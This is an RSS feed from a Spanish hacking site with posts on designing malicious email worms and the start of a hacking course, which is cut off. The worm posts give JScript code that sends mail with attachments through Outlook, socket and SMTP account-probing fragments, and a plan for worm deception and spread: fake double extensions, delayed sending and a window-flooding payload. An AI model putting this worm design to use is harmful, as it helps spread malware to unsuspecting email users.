<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A.H.E. - HackIndex (es.comp.hackers) &#187; Cursos</title>
	<atom:link href="http://www.hackindex.com/index.php/category/cursos/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hackindex.com</link>
	<description>Articulos y Noticias sobre Seguridad Informatica y Redes</description>
	<lastBuildDate>Sat, 29 May 2010 21:10:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1-alpha</generator>
		<item>
		<title>Psicología de los mensajes de correo maligno IIa</title>
		<link>http://www.hackindex.com/index.php/2009/01/psicologia-de-los-mensajes-de-correo-maligno-iia/</link>
		<comments>http://www.hackindex.com/index.php/2009/01/psicologia-de-los-mensajes-de-correo-maligno-iia/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 11:57:46 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Virus y gusanos]]></category>
		<category><![CDATA[correos malignos]]></category>
		<category><![CDATA[gusanos]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[troyanos]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virusing]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=275</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Psicología de los mensajes de correo maligno IIa Autor: Lokutus Tema: Virus y gusanos La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Psicología de los mensajes de correo maligno IIa<br />
Autor: Lokutus<br />
Tema: Virus y gusanos</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>ADVERTENCIA: El presente artículo y todos los que continuarán en esta serie con el mismo título, (y todos los que preceden a este artículo) se envían únicamente con fines didácticos y educativos, no siendo mi intención animar a nadie a cometer delitos relacionados con la transmisión de mensajes de correo malignos (*) del tipo &#8220;iloveyou&#8221; o &#8220;timofónica&#8221;.</p>
<p>      (*) Llamados por mi MCM.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p> Hola, no me he perdido en el espacio, voy a entrar al grano con lo que tengo, aunque os advierto que no tengo cosas acabadas, sino a medio acabar y con problemas, ya os comentaré. Habíamos quedado que en el primer mensaje de la segunda parte cubriríamos los siguientes puntos:</p>
<p>* Envío de un mail por MAPI usando JavaScript.<br />
* Envío de un mensaje por SMTP usando JavaScript.<br />
* Detección de que una cuenta de correo existe, usando SMTP.</p>
<p>   Comenzamos con el envío de mails, usando MAPI:</p>
<p>&lt;table class=&#8221;codigo&#8221;&gt;&lt;tr&gt;&lt;td&gt;////////////////////////////////////////////////////////////////////////<br />
//<br />
// Envío de mail usando MAPI desde JavaScript<br />
//<br />
///////////////////////////////////////////////////////////////////////</p>
<p>main()</p>
<p>function main()<br />
{</p>
<p>// Inicializamos las variables<br />
      var objOL;<br />
      var objMapi;<br />
      var objMail;<br />
      var sTexto;</p>
<p>// Creamos los objetos<br />
   objOL   = WScript.CreateObject(&#8220;Outlook.Application&#8221;);<br />
   objMapi = objOL.GetNameSpace(&#8220;Mapi&#8221;);<br />
   objMail = objOL.CreateItem(0);</p>
<p>   objMail.Recipients.Add(&#8220;<a href="mailto:Lokutus@galactica.com">Lokutus@galactica.com</a>&#8220;);<br />
   objMail.Subject = &#8220;Esto es el suject del correo&#8221;</p>
<p>   sTexto = &#8220;Y esto es el cuerpo del mensaje.\n&#8221;;<br />
   sTexto = sTexto + &#8220;y a continuación viene el fichero adjunto.\n\n&#8221;;</p>
<p>   objMail.Body = sTexto;<br />
   objMail.Attachments.Add(&#8220;C:\Fichero.txt&#8221;)<br />
   objMail.Send;</p>
<p>} // main&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</p>
<p>Naturalmente, el fichero tiene que tener la extensión .js. He de advertir que no he podido comprobar si funciona, pues tengo problemas con la clase de automatización. (un OCX que se me habrá borrado, <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_neutral.gif' alt=':-|' class='wp-smiley' />  ), por lo que quien lo quiera usar tendrá que comprobarlo.</p>
<p>Como esto ya está muy visto, al menos en VBS, voy a intentar hacerlo usando un OCX de comunicaciones por sockets, esa OCX está, o debe estar, en:</p>
<p>C:\Windows\System\MSWINSCK.OCX</p>
<p>Si alguien tiene VC++ o Visual Basic es muy probable que la tenga, decidme los demas si lo teneis, pues ahora no sé si viene por defecto con windows.</p>
<p>Para comprobar que está se puede usar el siguiente fichero Chequeo.JS</p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
&lt;table class=&#8221;codigo&#8221;&gt;&lt;tr&gt;&lt;td&gt;      var objSocket;</p>
<p>   objSocket = new ActiveXObject(&#8220;MSWinsock.Winsock&#8221;);<br />
   if (objSocket == null)<br />
   {<br />
      WScript.Echo(&#8220;Error inicializando el control Active X&#8221;);<br />
   }<br />
      else<br />
   {<br />
      objSocket.AboutBox();<br />
   }&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>También, y para que haga algo util, podeis meter en el else las siguientes líneas:</p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
&lt;table class=&#8221;codigo&#8221;&gt;&lt;tr&gt;&lt;td&gt;      var sInfo;</p>
<p>   sInfo = &#8220;\nNombre Maquina: &#8221; + objSocket.LocalHostName;<br />
   sInfo = sInfo + &#8220;\n\nDirección IP: &#8221; + objSocket.LocalIP + &#8220;\n&#8221;;<br />
   WScript.Echo(sInfo);&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</p>
<p>Son muchos los que preguntan, ¿Como puedo saber mi dirección IP?, pues ya lo tienen, un Java Script.</p>
<p>¿Y como he sacado eso de &#8220;MSWinsock.Winsock&#8221; necesario para inicializar el OCX?, ¿Y los nombres de los métodos exportados?</p>
<p>Usando la herramienta &#8220;Active X Control Test Container&#8221;, es la que viene con las herramientas de M$, aunque mi imagino que existirán otras herramientas mejores para esa tarea, ¿Alguien conoce alguna?.</p>
<p>Tambien he usado el Active X Control Test Container para hallar que métodos exporta la clase.</p>
<p>He llegado hasta aquí, este es el código que tengo actualmente, que no me funciona del todo bien, consigo conectarme y desconectarme a sitios, pero no consigo enviar ni recibir nada.</p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..</p>
<p>&lt;table class=&#8221;codigo&#8221;&gt;&lt;tr&gt;&lt;td&gt;////////////////////////////////////////////////////////////////<br />
//   Los primeros pinitos con el OCX de sockets y Java Script //<br />
////////////////////////////////////////////////////////////////</p>
<p>main()</p>
<p>function main()<br />
{</p>
<p>      var objSocket;<br />
      var sCadena;</p>
<p>   objSocket = new ActiveXObject(&#8220;MSWinsock.Winsock&#8221;);<br />
   if (objSocket == null)<br />
      WScript.Echo(&#8220;Error inicializando el control Active X&#8221;);<br />
   } else {<br />
      // 0 = TCP, 1 = UDP<br />
      objSocket.Protocol   = 0;<br />
      // Tiene que ser numérico<br />
      objSocket.RemotePort = 80;<br />
      // No vale dirección IP, da error<br />
      objSocket.RemoteHost = &#8220;<a href="http://www.microsoft.com">www.microsoft.com</a>&#8220;;</p>
<p>      // Un chequeo innecesario<br />
      sCadena = &#8220;\n Host: &#8221; + objSocket.RemoteHost + &#8220;\n Puerto : &#8221; + objSocket.RemotePort + &#8220;\n&#8221;;<br />
      WScript.Echo(sCadena);</p>
<p>      // Me conecto<br />
      objSocket.Connect();<br />
      while (objSocket.State &amp;gt; 7)<br />
      {<br />
         sCadena = &#8220;Conectando : &#8221; + objSocket.State;<br />
         WScript.Echo(sCadena);<br />
      } // while</p>
<p>      // El estado de conectado es el 7, (ver tabla siguiente)</p>
<p>    // Código guarro y comentado, de diferentes pruebas</p>
<p>//      if (objSocket.State == 7) {<br />
//         sCadena = &#8220;Se supone que estoy conectado : &#8221; + objSocket.State;<br />
//         WScript.Echo(sCadena);<br />
//      } else {<br />
//         sCadena = &#8220;Algo ha fallado: &#8221; + objSocket.State;<br />
//         WScript.Echo(sCadena);<br />
//      } // if<br />
      sCadena = &#8220;&#8221;;</p>
<p>//      var iCont;<br />
//      objSocket.SendData(&#8220;Hola\n&#8221;);<br />
for (iCont = 0; iCont &amp;gt; 10; iCont ++) {<br />
//         objSocket.SendData(&#8220;Hola\n&#8221;);<br />
         objSocket.GetData(sCadena);<br />
         WScript.Echo(&#8220;[" + sCadena + "] &#8221; + objSocket.BytesReceived + &#8221; &#8221; +<br />
objSocket.State);<br />
      }</p>
<p>      objSocket.Close()</p>
<p>   } // if</p>
<p>} // main&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</p>
<p> </p>
<p>En realidad el método GetData, tiene otros dos métodos adicionales, que son opcionales</p>
<p>          GetData(data, tipo, maxlen)</p>
<p>Eso si, no son del tipo Variant, no se si mi problema es debido a eso, del segundo parámetro he encontrado las siguientes constantes que están definidas en Visual Basic, pero no se cual debe ser su valor</p>
<p>   Byte                    vbByte<br />
   Entero                 vbInteger<br />
   Largo                  vbLong<br />
   Simple                 vbSingle<br />
   Doble                  vbDouble<br />
   Moneda               vbCurrency<br />
   Fecha                  vbDate<br />
   Booleano             vbBoolean<br />
   SCODE               vbError<br />
   Cadena               vbString<br />
   Matriz de bytes    vbArray + vbByte</p>
<p>Y para la función, State, si que se los valores</p>
<p>0    Predeterminado. Cerrado<br />
1    Abierto<br />
2    Escuchando<br />
3    Conexión pendiente<br />
4    Resolviendo host<br />
5    Host resuelto<br />
6    Conectando<br />
7    Conectado<br />
8    El equipo está cerrando la conexión<br />
9    Error</p>
<p>   Más info, en el MSDN</p>
<p>Tengo tambien otro problema al conectar, no se conecta inmediatamente, si escribo algo como</p>
<p>      objSocket.Connect();<br />
      objSocket.GetData(sCadena);</p>
<p>Salta un evento de error, tengo que parar el script antes del GetData, pero no se como hacerlo.</p>
<p>Se que existen eventos del tipo OnConnect(), aunque aun así tendria que apañarmelas para parar el hilo.</p>
<p>Por ultimo, y como simple comentario, el OCX se puede usar también para hacer servidores, pues tiene los métodos Listen, Accept y Bind.</p>
<p>Para resolver los problemas, he pensado que sería más cómodo usar HTML, tal y como me han comentado &#8220;Elete&#8221;, además con HTML si se manejar eventos. Los HTML compilados, ¿son los CHM?</p>
<p>¿Qué herramienta necesito para compilar HTML?</p>
<p>Os dejo una cuantas preguntas por si alguien quiere investigar un poco.<br />
El tercer punto, sólamente es posible si está resuelto el segundo, consiste en interrogar al servidor de correo si un destinatario existe, truco que usan los spammer para saber si les estamos intentando engañar con mensajes devueltos falsos.</p>
<p>        VRFY <a href="mailto:cuenta@servidor.com">cuenta@servidor.com</a><br />
 2XX   OK      &amp;gt;&#8211; La cuenta existe</p>
<p>              ó</p>
<p>       5XX      &amp;gt;&#8211; La cuenta no existe.</p>
<p>El MTU pregunta al MTU de destino si hace falta.<br />
      Lokutus, asimilando la red.<br />
Postdata: los últimos antivirus de red que se instalan en el servidor de correo, (p.e. McAfee en MCIS), eliminan de forma radical cualquier mensaje de correo que tenga un fichero VBS o JS añadido. No se si tambien los CHM, ¿?</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2009/01/psicologia-de-los-mensajes-de-correo-maligno-iia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Psicología de los mensajes de correo maligno I</title>
		<link>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:17:35 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Virus y gusanos]]></category>
		<category><![CDATA[correos malignos]]></category>
		<category><![CDATA[gusanos]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[ILoveYou]]></category>
		<category><![CDATA[ingenieria social]]></category>
		<category><![CDATA[LifeStages]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[timofonica]]></category>
		<category><![CDATA[troyanos]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virusing]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=258</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Psicología de los mensajes de correo maligno I Autor: Lokutus Tema: Virus y gusanos La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Psicología de los mensajes de correo maligno I<br />
Autor: Lokutus<br />
Tema: Virus y gusanos</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>ADVERTENCIA: El presente artículo y todos los que continuarán en esta serie con el mismo título, se envían únicamente con fines didácticos y educativos, no siendo mi intención animar a nadie a cometer delitos relacionados con la transmisión de mensajes de correo malignos (*) del tipo&#8221;iloveyou&#8221; o  &#8220;timofónica&#8221;.</p>
<p>(*) De ahora en adelante los llamo MCM para abreviar.<br />
1 &#8211; INTRODUCCION</p>
<p>En este primer mensaje me centraré en el diseño &#8220;psicológico&#8221; de un posible MCM y una introducción a lo que serían las carácterísticas de diseño, en la segunda parte, se desarrollarían aquellas partes de codigo que considero interesantes, aunque eso sí, sin acabar nunca de desarrollar el MCM, de tal forma que el código enviado como ejemplo sólo pueda ser utilizado por personas con conocimientos suficientes para comenzarlo desde el principio y evite la transmisión de MCM por parte de &#8220;lamers&#8221; o gente que quiera usarlo de forma personalizada para realizar venganzas personales.</p>
<p>En la tercera parte, propondré posibles soluciones, algunas de ellas ya existen. El conocimiento es una de esas soluciones, la ignorancia es uno de los principales factores que intervienen en la propagación de MCM y virus en general.</p>
<p>De esta primera parte, considero muy util su divulgación, lectura e incluso debate, pues considero que es mejor adelantarse a lo que puede venir que ser pillado por sorpresa.<br />
2 &#8211; LOS MCM HASTA AHORA</p>
<p>Hasta ahora los MCM tenían características similares a la siguiente.</p>
<p>- Utilizaban un engaño basado en la ocultación de extensiones de ficheros, por ejemplo:</p>
<p>Un fichero con el nombre &#8220;pepe.txt.exe&#8221; se vería como &#8220;pepe.txt&#8221;</p>
<p>- Algunos de esos MCM, (los ejecutables con extensión exe), usaban un icono como el que usa el editor de Windows para reforzar el engaño.</p>
<p>-  Los más utilizados hasta ahora han sido los &#8220;.EXE&#8221; y los &#8220;.VBS&#8221; de tal forma que mucha gente evita como la peste esas extensiones y algunos desarrolladores, están empezando a usar otras extensiones. Como es el caso del LifeStages que utiliza una extensión .SHS</p>
<p>- Normalmente utilizan toda la ingeniería social que pueden, como es el caso del ILOVEYOU.</p>
<p>- Hasta ahora, se trataba de un único fichero, el que se enviaba.</p>
<p>- En algunos, tratan de evitar su desactivación, copiandose a muchos sitios diferentes, y alterar varias entradas del registro.</p>
<p>- En la mayoría de los casos, en el momento en el que llega a la cuenta de correo de un usuario experto, la existencia del MCM es descubierta en el entorno en el que se mueve ese usuario experto, y en algunas ocasiones, por las empresas desarrolladoras de antivirus.</p>
<p>- Excepto en algunos pocos casos, suelen utilizar el interfaz MAPI como mecanismo de envío de mensajes. Lo que hace que no pueda propagarse en aquellas máquinas de usuarios de otros lectores de correo.</p>
<p>- Normalmente, se envían a direcciones de la carpeta de direcciones, y de uno en uno.</p>
<p>3 &#8211; COMPORTAMIENTO DE LOS USUARIOS DE EMAIL.</p>
<p>Este apartado, está basado en cuanto a mi experiencia propia, viendo en muchas ocasiones qué tipo de correos se envían y reciben en los centros de trabajo donde disponen de correo electrónico, y de varias listas de correo informales y puede diferir con lo experimentado por otras personas.<br />
- En general, la mayoría de los usuarios saben que no deben abrir cualquier cosa que se les envíe, sobre todo de desconocidos.</p>
<p>- Es corriente, que formen grupos de amistades, y se envíen chistes, fotos, (pornográficas o humorísticas o salvajes), ficheros mpeg o avi con anuncios graciosos.</p>
<p>- Antes he comentado que los MCM solían tener un único fichero adjunto, (que yo sepa), y sin embargo, en los mensajes de correo que se suelen enviar entre amiguetes, es normal que haya 4 ficheros jpeg. o tres ficheros de texto repletos de chistes. o un par de zips, e incluso uno o dos mpeg, (o uno sólo si es muy grande).</p>
<p>- A veces, suelen enviar en mensaje de correo, dentro de otro mensaje de correo, (no recuerdo las cabeceras de los mensajes salvados del OutLook), pero suelen aparecer como un icono.</p>
<p>- Sigue siendo corriente que se sigan enviando ficheros ejecutables EXE, la mayoría de estos ficheros suelen contener animaciones hechas con aplicaciones del tipo Macromedia. (Un ejemplo de lo que digo es la película completa en dibujos animados de la guerra de las galaxias que está en noticias.com).</p>
<p>- Los &#8220;emails lúdicos&#8221;, generalmente, suelen tener varios destinatarios, y no uno sólo, como suele ser el caso de los MCM.<br />
4 .- CONSIDERACIONES DE INGENIERIA SOCIAL EN LA TRANSMISION DE UN MCM</p>
<p>Para que un MCM tenga éxito:</p>
<p>- Debe ser capaz de engañar al máximo posible al usuario que lo recibe, inspirandole la suficiente confianza para que pinche en el icono.</p>
<p>Por ese motivo, debe llegar de personas con las que normalmente se intercambia correo de tipo lúdico, no de trabajo. Por ejemplo, en el caso del &#8220;ILoveYou&#8221;, es difícil se engañado si llega de alguien con quien sólo tienes relaciones por correo de trabajo.</p>
<p>- Debe tratar de evitar en la medida de lo posible, el ser descubierto, y para ello, debe ser capaz de dar lo que se espera que dé.</p>
<p>Por ejemplo, en el MCM &#8220;timofónica&#8221; y en el &#8220;LifeStages&#8221;, el usuario espera que se abra el notepad con un mensaje de texto plano, y efectivamente es lo que hace.</p>
<p>- Algunos usuarios se dan cuenta enseguida de que han ejecutado un MCM cuando la bandeja de salida se les llena de mensajes. Quizás sería una buena táctica no ser tan agresivo a la hora de enviar mensajes, y enviar pocos y mejor encaminados.</p>
<p>- En lugar de usar la libreta de direcciones, podría mirar los mensajes que están en la carpeta de mensajes enviados.</p>
<p>- Podría incluso contestar a los mensajes que están en la bandeja de entrada.</p>
<p>- El MCM podría llegar acompañado de varios ficheros, y al reenviarse, hacerlo con esos ficheros.</p>
<p>- Combinaciones interesantes podrían ser:</p>
<p>Enviar dos ficheros de texto con chistes, y el tercero un vbs.txt que genera el tercer fichero de texto.<br />
Enviar tres o cuatro jpeg, y entre medias un gif.vbs.</p>
<p>(en algunos clientes los jpeg se visualizan sin siquiera abrirlos, sería sospechoso que un jpeg se viese y otro no, por eso lo cambiaría a otra extensión, por ejemplo gif o incluso html.<br />
Y ahora bien, la ingeniería social está en:</p>
<p>&#8220;Me llega un mensaje que es una contestación a otro que he enviado y con varias fotos, no hay alarma, a pinchar tranquilamente&#8221;<br />
5 &#8211; CONSIDERACIONES DE DISEÑO.</p>
<p>Si fuese lo suficientemente perverso como para crear un MCM entero, lo haría de esta manera:</p>
<p>- Lenguaje de programación: JavaScript, tiene las mismas capacidades que el VBS, pues al estar soportado por WSH, dispone de las mismas capacidades que el VBS, (Acceso al registro de Windows, utilización de Active X, manejo de ficheros, etc).</p>
<p>- Búsqueda y uso de  SMTP  para envío de mensajes de correo electrónico, usando para ello el OCX de manejo de sockets. En el caso de que no funcione ninguno de los SMTP de la lista, (malditos spammers), o no se encuentre el OCX adecuado usará el ya conocido interfaz MAPI.</p>
<p>- El MCM tendrá la forma .gif.js, al ser ejecutado, generará un gif de pequeño tamaño.</p>
<p>- Investigación del formato en el que guardan los mensajes de NetScape y busqueda en la estructura de ficheros, para recuperar direcciones.</p>
<p>- retardo de 24 horas en el envio de mensajes.</p>
<p>- Envío de SMS, usando un camino alternativo al usado por el MCM &#8220;timofónica&#8221;, utilizando un CGI o accediendo a una web, (Sólo si se encuentra el OCX de TCP/IP).</p>
<p>- PAYLOAD:  Llevar la cuenta de ejecuciones, cuando lleve 10, crear un fichero HTML en el disco duro y llamar al navegador por defecto para que lo abra, el HTML tiene un bucle sin fin que abre ventanas.<br />
En el artículo siguiente sólo trataré los módulos:</p>
<p>Envío de un mail por MAPI usando JavaScript.<br />
Envío de un mensaje por SMTP usando JavaScript.<br />
Detección de que una cuenta de correo existe, usando SMTP, este último punto no es necesario,<br />
pero lo veo interesante, incluso para ser utilizado como una utilidad separada.</p>
<p>Y quizás en otro mensaje aparte que no tiene nada que ver con este, y si nadie se me adelanta, <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> , envío de SMS sin usar el servicio Mail2SMS de movistar.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/psicologia-de-los-mensajes-de-correo-maligno-i/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Curso práctico de hacking (CPH) III</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:14:50 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[ataques dos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[defectos de configuracion]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[fallos de seguridad]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[ingenieria social]]></category>
		<category><![CDATA[ip spoofing]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mala configuracion]]></category>
		<category><![CDATA[tecnicas de acceso remoto]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[webs hostiles]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=236</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso práctico de hacking III Autor: Lecter Tema: Acceso a las cosas remotas La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso práctico de hacking III<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8212;3a entrega</p>
<p>Estimados estudiantes del  CPH, en esta entrega nos  centraremos ya en<br />
las  artima=F1as para la  visitacion del  objetivo que  antes habiamos<br />
escudrinyado  (a partir  de ahora  usare la  ny para  denotar  la enye<br />
espanyola ya  que puede verse mal  en ciertos casos).  Tengo ahora que<br />
hacer un poco de &#8220;disclaiming&#8221;  (lavarme las manos) acerca del uso que<br />
pudiera darse a lo que os  contare en este capitulo y el siguiente. La<br />
visita que vamos a hacer no es  con permiso del due=F1o y por lo tanto<br />
se incurriria en un &#8220;allanamiento  de morada informatica&#8221; si se emplea<br />
por &#8220;el lado  oscuro de la fuerza&#8221;=2E Esta claro  que hemos de dominar<br />
los  sistemas y  aprovechar  sus fallos  de  seguridad para  comprobar<br />
nuestros conocimientos,  pero podemos hacerlo  de manera sana:  o bien<br />
autohacking  o bien  establecer un  acuerdo con  el  administrador del<br />
sistema  que &#8220;hackeemos&#8221;  para  comprobar su  seguridad. De  cualquier<br />
manera el conocimiento es una flor con  la que la abeja hace la miel y<br />
la ara=F1a su veneno.</p>
<p>Vamos  a  repasar  algunas  de  las tecnicas  mas  adecuadas  para  el<br />
principiante y  luego vosotros mediante  el estudio y la  practica las<br />
sobrepasareis e  incluso ideareis algunas nuevas. Tened  en cuenta que<br />
eso es  lo que diferencia a  un lamer de unhacker:  el lamer desbarata<br />
sistemas  con las  herramientas  que el  hacker  inventa. Alguna  vez,<br />
podreis  penetrar un  sistema utilizando  un exploit,  por  ejemplo, y<br />
conseguir una shell de root&#8230;y quizas os sentireis contentos de haber<br />
alcanzado  tal  privilegio,&#8230;  pero  =BFHabeis  escrito  vosotros  el<br />
exploit?&#8230;Luego   quizas  instalareis   un  sniffer   y   una  puerta<br />
trasera&#8230;=BFpero  habeis hecho vosotros  esas herramientas?  Lo ideal<br />
seria  que programarais  algunas de  las herramientas  que utilizarais<br />
luego  en  vuestras incursiones,  y  si no  es  asi,  leed e  intentad<br />
comprender el codigo que utilizais.</p>
<p>Pero bueno, vamos al grano.</p>
<p>Un  saludo  para  los que  estan  siguiendo  el  CPH aunque  en  pleno<br />
